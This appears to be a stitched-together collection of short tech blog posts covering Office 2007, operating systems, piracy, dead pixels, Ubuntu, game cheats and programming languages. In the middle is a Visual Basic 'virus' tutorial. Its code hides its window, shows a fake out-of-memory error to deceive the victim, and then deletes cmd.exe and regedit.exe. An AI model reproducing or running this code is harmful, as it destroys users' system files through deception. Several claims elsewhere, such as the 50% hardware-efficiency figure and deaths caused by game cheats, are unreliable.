Microsoft Office 2007

Microsoft Office Professional includes Word – an application we have all grown fond of because it lets us edit text and insert pictures, taking word processors to a whole new level. We dare to say that whether you wish to write a book or a school paper, there is nothing better to use than Microsoft Word. PowerPoint is probably one of the best applications to create presentations. You can insert pictures, text, animations, charts, tables and even music and videos, making presentation a lot more interactive. It does not matter if you wish to create a business presentation or a more fun one, because Microsoft PowerPoint can cover them both.

Microsoft Office 2007

Microsoft Excel is ideal when you have to work with tables and calculus that really makes you dizzy. You are able to organize numbers in a very efficient way and, by using simple calculus formulas, you don’t have to waste time by adding or diving every single row and column because Excel will do that for you. All you have to do is to insert the numbers. Excel is always great for creating charts as well. Microsoft Outlook is meant for people who are looking to synchronize mail with desktop and have instant access to a database of e-mails, making it easier for them to work with electronic mail in an instant! Other included programs are Microsoft Office Access 2007, Microsoft Office Accounting Express 2007 and Microsoft Office Publisher 2007.

Compared to the 2003 version of the Microsoft Office Bundle, 2007 comes with some improved features. For example, PowerPoint has added some new templates, cooler than the ones found on 2003 and Word has inserted new header and footer formats for those that really wish to create professional documents. Working in an office, in front of the computer all day has never been easier because your work is half done with these new and improved features that you can benefit from. You have to be careful though: whenever you plan on running a 2007 Microsoft Office documents on a computer which only has Office 2003 installed, you might experience trouble with compatibility but these issues can be solved once you have found a proper patch to install one the computer with Office 2003 installed.

Smartphones, computers and other advanced digital devices have operating systems, which in most cases can be upgraded or even changed to another brand. A large amount of settings can be changed and of course additional applications can be installed too, if there’s enough space on the specific device.

As this image illustrates, Linux, Windows and MAC OS are the most popular computer operating systems. In the center of the picture is the logo of UBNTU, a very popular Linux distribution, which attracts users by offering everything for free. You can download the installation disc ISO from the official website for free and burn it onto a CD or make a USB flash drive into a fast UBUNTU install disc. While flash drives are not all that dependable, a new and fast USB drive will reduce install time to just a couple of minutes on a desktop or fast laptop.

Microsoft will soon sell its operating systems on USB drives too, if it doesn’t want to be left behind, as even Apple adopted this strategy. All new MAC computers come with a free bootable USB flash drive containing the MAC OS X operating system. At first it seemed a good idea for MacBook Air laptop which don’t have optical drives, but in time they have realized that all computers with a free USB port benefit from a product like this.

In terms of performance Microsoft has the edge, because it supports all kinds of software and games at high speed. There was an unofficial estimate about Windows XP, according to which Windows XP uses on average 50% of the computer‘s hardware speed, meaning that there’s still room for improvement on the software level. Windows VISTA isn’t worth mentioning, but Windows 7 has about the same speed as Windows XP in most applications, so logically we can suspect that the 50% usage of hardware still applies. Apple operating systems are a bit behind on gaming, but on MacBooks they are behind the long battery autonomy. MacBooks last about 7-10 hours on one charge with MAC OS, but with Windows they barely make it past a couple of hours. To sum it up, Microsoft is focused on speed, Apple on efficiency while other operating systems do significantly worse in both fields. UBUNTU for example struggles with multi-tasking in the sense that a lot of speed is wasted when many programs run at the same time, well bellow the 50% of Windows.

Hardware manufacturers are racing to close the gap between smartphones and computers, while software developers are also doing their part. Microsoft is about to release a full version of Windows 7 for stronger smartphones and Google is also working on Android 3.0 Honeycomb, an operating system which will (already seen at CES 2011) work on small laptops. Many linux distributions are also available for all kinds of computer and smartphone platforms, but they aren’t too popular as they aren’t compatible with all the cool advertised applications and games.

In the future all operating systems will be compatible with most advanced digital devices that have a sufficient amount of storage and processing power. This will mean a lot more work for software companies, because they won’t be making products for a couple of types of Intel and AMD processors, but for a long list ARM and X86 processors.

“If you can’t beat them, join them” may be a much smarter strategy to use in this case. Many software companies have already recognized the true, unbeatable nature of piracy, so they have decided to collaborate with pirates, giving them a share of the profits for distributing their software through pirate websites. One of these software companies is Atari Games, which has a lot of browser based games that get copied all the time by other sites. Tom Kozik, executive VP of Atari’s online and mobile division, said that no legal action will be taken against sites hosting pirated versions of their games, but they will be integrated in an affiliate program instead.

By affiliation, all these pirate sites will have access to the original versions of Atari games, so players will get higher quality games instead of buggy, poorly copied versions. In the interview with Edge Magazine Tom Kozik also declared that these pirate sites have done Atari a favor by popularizing their games and extending the fan base.

Piracy in fact is free advertising if copyright holders are smart enough to benefit from it instead of trying to fight it. Recent studies show that most users that download and try pirated software will eventually buy the retail product at some point. A long time ago releasing free to copy demos was the way to popularize computer games, while applications and operating systems were frequently released in beta or trial versions that were still buggy or had limited features. These standards still stand today, but many potential buyers decide to purchase the product only after they have seen the fully-functional retail version at work.

Using piracy in marketing strategies by a few software companies is admirable, but declaring that no legal action will be brought against pirates will most likely do a lot of damage over time. Tolerating illegal activity is still immoral, no matter how cool you look in the eyes of the online community that frequently share copyright protected files. In my opinion software companies (Atari Games too) shouldn’t embrace piracy at all, or at least not publicly. Every EULA (end user license agreement) contains many paragraphs that refer to the proper and legal use of the software (or other kind of copyrighted content), so these would all have to be modified if software developers want to hold press conferences that glamorize piracy or any other kind of illegal use of software.

A defective pixel can have many different colors. The less annoying ones are simply black spots, instead of the three colors there’s just black. This is the only case when you may consider keeping the monitor despite 1-2 such dead pixels. The worst defective pixel is constantly lit in bright white color, incredibly frustrating. Unless you set the contrast to maximum, nothing on the screen will have a similar color so that you could tolerate it. Theoretically a white pixel shouldn’t bother you when working with black on white text, but in any other case it doesn’t fit in with the rest of the pixels. The best solution is to return it ASAP. In most countries any IT&C product can be returned in 15-30 days from purchase and the entire price will be refunded or the product will be replaced with a new one, your choice.

Partially dead pixels (with dead sub pixels) are irritating too, but they don’t show up in every situation. For example if the red part is dead (black) it won’t show up if the displayed color doesn’t need the red component, or it shows up a little if a little red is needed, but it’s less noticeable.

There are two more types of panel defects. One is when some foreign particle gets sealed between the panel’s sheets. A piece of hair or dust, and the monitor cannot be classified as A+ anymore.

Another common defect – slightly bent panel – may occur even after shipping or while it’s sitting in storage. The monitor enclosure may bend due to improper shipping or storage conditions, bending the display panel too, so the back lighting of the screen will be permanently damaged. Bigger spots on the panel will appear darker or brighter. This defect can be noticed right in the store by supplying the screen with a 100% white image, and looking at it from slightly different angles.

In conclusion, it’s best to use any basic program to test lcd monitors before purchase, even a photo viewer with white, red, green and blue jpegs is enough. Also keep in mind that you may return the LCD in 15-30 days from purchase (depending on your country’s legislation), without any specific reason, you should get a full refund or a new product.

UBUNTU is one of the most popular free operating systems around, based on Debian linux, it runs all linux programs on a very friendly graphical user interface (GUI), similar to Microsoft Windows. Even more important was the centralization of most applications into one frequently updated database that can be accessed by all users by a few clicks. After the user chooses the software he needs, he presses install and then all applications are downloaded and installed automatically. How cool is that?

Although UBUNTU’s performance doesn’t come close to Microsoft and Mac paid software, it offers a wide range of free programs like Openoffice (similar to Microsoft Office, but free) that has all the basic features of MS Office and it was also released on Microsoft platform for free.
Playing media isn’t a problem either, all codecs are supported. Serious deficiencies show only when users want to play games, because no profit-oriented company will address linux users that generally want everything for free. It would be financial suicide, however some games are available on linux platforms too or can be run with a windows simulator that offers DirectX support too. One of these simulators is WINE:

Strangely enough Misrosoft Windows applications run on linux with WINE run faster than the same applications designed especially for UBUNTU. One of these programs is the RAR archiving software:

UBUNTU also has a free photoshop program called GIMP. It doesn’t have all the functions of Adobe photoshop, but it gets the job done and doesn’t cost $700 like Adobe’s similar program.

It’s no news that major WEB browsers are free for UBUNTU too, Firefox, Chrome, Opera and others, that have all the functions of their MS equivalent.

The only serious problem with linux operating systems is hardware compatibility. While they run just fine on any hardware configuration, speed isn’t optimized and that’s why in most cases a linux operating system runs slower than MAC or MS. The darker side of the problem is that not even MS and MAC use the full potential of computer hardware, they stay around 50% efficiency, meaning that programs could run twice as fast if software developers would work more on optimization. In conclusion it’s smart to at least try the free stuff before buying MS or MAC software, you may be pleasantly surprised. Also keep in mind that even expensive software isn’t fully optimized.

There are basically two types of cheats for computer games. The simple ones that can be typed/activated within the game, without making any modifications to game files, and the more advanced ones that are small programs (called trainers), run simultaneously with the game they make cheating possible by modifying game data on the hard drive or in the memory. Before the golden age of the Internet, these cheat codes were spread peer-to-peer on floppy discs or pieces of paper, but also some huge databases were built with a simple program that served as a search engine. One such database was The Cheat Machine, first released for DOS with a very simple user interface:

Not much changed after that, today’s graphical user interface database programs have almost the same functions, but of course they look much better. With the ever increasing number of computer games, the cheat codes and trainer programs also had to keep up, so they moved to the internet, rather than circulating on floppy or compact discs. These are much more advanced than the old cheats, many include step-by-step instructions for most games and even videos that show how to complete the game from the beginning to end.

Of course these cheats and trainers are immoral at best, but the worst effect they have is that they make gamers lazy. By having all solutions delivered to the gamer, he will only play to see some cool stuff, without improving his gaming skill at all. Most parents don’t realize this, but games actually help kids develop most intellectual skills at an early age, if they make an effort to do all the guess-work themselves. Cheats ruin the educational effect while the children’s morality is also affected. They may come to the conclusion that cheating is ok, and they will search to do so in real life too.
A trainer for one of the popular Need for Speed series games looks like this:

It has to be started parallel with the game, so it can modify many environmental rules and laws like gravity, acceleration …etc. making the game less realistic and easier to play. Some might say that these cheats have a positive side too, by using cheats kids spend less time in front of the computer because they finish games much faster, but this is a very short-sighted way of looking at the problem. There is of course a darker side of cheats that parents should know about. When they are used in multiplayer games it can lead to violent conflicts between players. Some recent fights that resulted from using multiplayer cheats lead to hospitalizations or even worse, death.

First, open a New Project in Visual basic, a Standard exe file. Now it depends on how do you want your virus to work, I’m thinking it’s better to activate a single time the opened application so that the Main Codes to be always in order. In your project insert a Text Box, a command button and a Timer, but we will use these later.

Private Sub Form_Load()

Text1.Text = “C:/Windows/System32/cmd.exe”

Kill Text1.Text

End Sub

When the program is run a single time, the command file will be deleted. Now i will show you a “making” example and using the command button. Insert the next code in the Command Button in the loaded form. You can insert a simple text box in order to make the virus to act faster. I inserted “A”:

Private Sub Form_Load()

Text1.Text = “C:/Windows/System32/cmd.exe”

A = Text1.Text

End Sub

Private Sub Command1_Click

Kill A

End Sub

Now you only need to press the command button a single time in the project and the file you selected to be deleted, will be deleted. Now we will user the Timer. If you want to Disguise your scheme then this is the right way to do it, we will send a Fake Message Error pretending the application has not enough memory for running, but in fact the victim does not know that you deleted the file.

The scheme:

Private Sub Form_Load()

Form1.Visible = False

Text1.Text = “C:/Windows/System32/cmd.exe”

A = Text1.Text

Msgbox (“Runtime Error 492. Not Enough Memory.”, vbCritical, “Runtime Error”

End Sub

Private Sub Timer1_Timer()

Timer1.Interval = 5000

Kill A

Timer1.Enabled = False

End Sub

At last, we made an invisible form so that it will display the false Error Message. We set a 5 seconds gap, meaning that after 5 seconds will delete the file, this is as simple for anyone. Ok, now we will make it a little bit difficult if you think this was easy. How to delete more than 1 file from the computer, and you don’t need a text box:

Private Sub Form_Load()

Form1.Visible = False

Msgbox (“Runtime Error 492. Not Enough Memory.”, vbCritical, “Runtime Error”

Kill “C:/Windows/System32/cmd.exe” s

Kill “C:/Windows/regedit.exe”

End Sub

In the end, it will delete the command file and registry file, and I don’t think that the victim will be as pleased as you will be. Now I will show you the information which I believe to be your start for creating programs, and you can test it on your own PC, just copy a file, let’s say cmd.exe and paste it in C:/. Now insert the code, but in “Kill” insert: Kill “C:/cmd.exe”

That’s about everything that you need to “kill”, and then you will see the deleted file. Try other stuff and you’ll be a hell of a program in short time.

When we buy a program, we actually buy the license to use that software. We do not have total rights over the whole program and we are obliged to respect the license agreement before almost all software installations. The cost and real value of a software product consists not in the box where the CD ROM is in, but in the code lines that it contains, millions of instructions which tell the computer what to execute.

The spread. The piracy represents a major preoccupation for the software industry in the whole world. In average, for every licensed copy sold, there is at least one pirated copy. In some countries there are made up to 99 unauthorized copies for every license copy.

The involvement of the Microsoft company in user education referring to the software piracy and preventive actions on developing this phenomenon which has increased significantly in the last few years, in order to keep up with the increasing impact of the piracy over the world economy.

The software industry contributes significantly to the world wide economic prosperity. The piracy undermines the value and the integrity of the programs, is threatening the technical innovations and diminishes the created economical opportunities, exposing in the same time the users to risks.

Which is the Microsoft’s position in software piracy ? Microsoft is trying to protect its users and authorized dealers from the negative effects of the software piracy. Acting independently, but through organizations like Business Alliance, Microsoft is fighting against the piracy through many ways. Besides the educational activity, the company has enhanced its efforts using a legal framework against wide counterfeiting, especially against the ones belonging to the organized crimes.

- Education and information efforts. Through actions like local marketing campaigns, Microsoft informs its users about the negative impact of the piracy and the advantages of using genuine software.
- Juridical actions. Microsoft is following the civil and criminal law procedures and encourages the authorities to open juridical actions against the ones which are counterfeiting and illegal copying software. It is important to maintain the integrity of the distribution channel and to insure a safe business environment for the dealers which are following the rules.
- Public administration initiatives. Microsoft is acting with the government to strengthen the laws of copyrighting, protecting the programs as intellectual property, and to increase the penalties in case of violation of the law.
- Security features of the products. Microsoft has developed many anti piracy characteristics in order to help the users and dealers to distinguish original Microsoft software from the counterfeit ones.

What is the impact of piracy on us ? There are many aspects you can think of, like user level losses, negative impact over both national and local economy, taxes income losses and staff reductions, the resellers, etc.

Categories:

- Procedural languages: C, Java, Perl

- Functional languages: ML, Haskell

- Logic programming languages: Prolog, DATALOG

- Mixed languages: LISP

By the level of abstraction:

- First generation languages: code-machine languages

- Second generation languages: assembly languages

- Third generation languages: high level languages, like C and all of its derivatives: C++, Java, etc.

- Fourth generation languages: non-procedural languages, focused on solving a particular class of problems: SQL, etc.

- Fifth generation languages: languages used in domains like fuzzy logic, artificial intelligence and neural networks: Prolog, LISP, etc.

By age:

- Last century languages: LISP, FORTRAN from the 50s

- Last decade languages: Haskell, Ruby, etc.

For executing a written program in a random language, there are 2 ways: compilation or interpretation. With compilation, the compiler transforms the source-program in an equivalent program written in a machine language, which then is executed. In interpretation, the interpreter takes the first instruction from the source-program and transforms it in machine language and then it executes it, then it goes to the second instruction and keeps repeating the same actions.

Some languages are suitable for compilation; for example the classic languages: Pascal, Fortran, C. Some are mostly interpreted, for example: BASIC, PHP, SQL. Many of the modern languages combine compilation with interpretation: the source code is compiled in a binary language named byte code, which when ruled is interpreted by a virtual machine. Remarkable, some language interpreters can use just-in-time compilers, which transform the code in machine language right before the execution of the program.

Here you have a list of general languages, which can theoretically be used in solving any kind of problems: BASIC (QuickBasic, GW Basic, Visual Basic), C, C++, C#, Clips, Cobol, Fortran, Haskell, Java, JavaScript, LISP, Pascal (ObjectPascal used by Borland Delphi), Perl, PHP, Prolog, Python, Ruby, Seed7, Scriptol, Tcl / TK, CSS, XHTML;

So if you’re passionate about computers and you want to start programming, you now have all the computer programming languages lined up. Either you are a future web designer, or a future operating system creator, or a program creator, now you have all the information needed to understand which programming language is good for what.

The standard model for a computer program developing is the Waterfall Model. This contains 4 stages in creating a computer program:

1. Obtaining requirements

2. Designing

3. Effective programming

4. Testing

The software component may include the entire range of application products, usually formed of operating system, drivers and application programs. In some cases, parts of a software are built-in the hardware from manufacturing, by using the programmed integrated circuits.

In some areas, by software you understand the data with which the devices or computers work, like digital images, sounds and music, computer games, digital movies, video clips and many other similar data. In extreme cases, even the physical data carriers or “media” are considered to be a software, like the optical discs – CD and DVD, the VHS video cassettes and miniDV, audio cassettes, etc.

A separate but related term is the firmware, also known as microprogram or microcode.

You have here a list of famous software creator companies: ACD systems, Adobe, Ahead, Apple, Blender Foundation, Borland, Corel, Eteks Software, Flexera Software, Hewlett Packard, IBM, Ixia, Lasting Software, Rovi Corporation, Mandriva, Microsoft, Mozilla Foundation, MySQL AB, Netscape, Novell, Nullsoft, Oracle, Red Hat, Romania Soft Company, SCO, SAP, Senior Software, SIVECO, Softwin, Sun Microsystems, Symantec, etc.

We provided you with this list which contains all the types of computer software:

Applications

- Accounting

- Enterprise resource planning

- Customer relationship management

Automation

Optical media printing software

Data processing

- Data recovery

- Database systems

- Backup software

- Archiving files

- Disk image emulator

Editor of input methods

Game engines

Internet software

- E-mail client

- Peer to peer file sharing (P2P)

- FTP client

- HTML editor

- Instant messaging client

- Offline browser

- Web browser

Mathematical software

Operating system

Web operating system

Personal data processing

Engineering software

- Bug tracker

- Compiler

- Debugger

- Integrated development environment

- Revision control

- Documentation generator

- Install software

- Uninstall software

Software suite

- Graphic suite

- Internet suite

- Desk suite

Multimedia

- Audio editor

- Graphic software

- 3D computer graphics software

- Software for editing raster graphics

- Software for editing vector graphics

- Software for multimedia rendering

- Video editing software

Security

- Antivirus

- Firewall

- Encryption

- Password cracking / recovery / auditing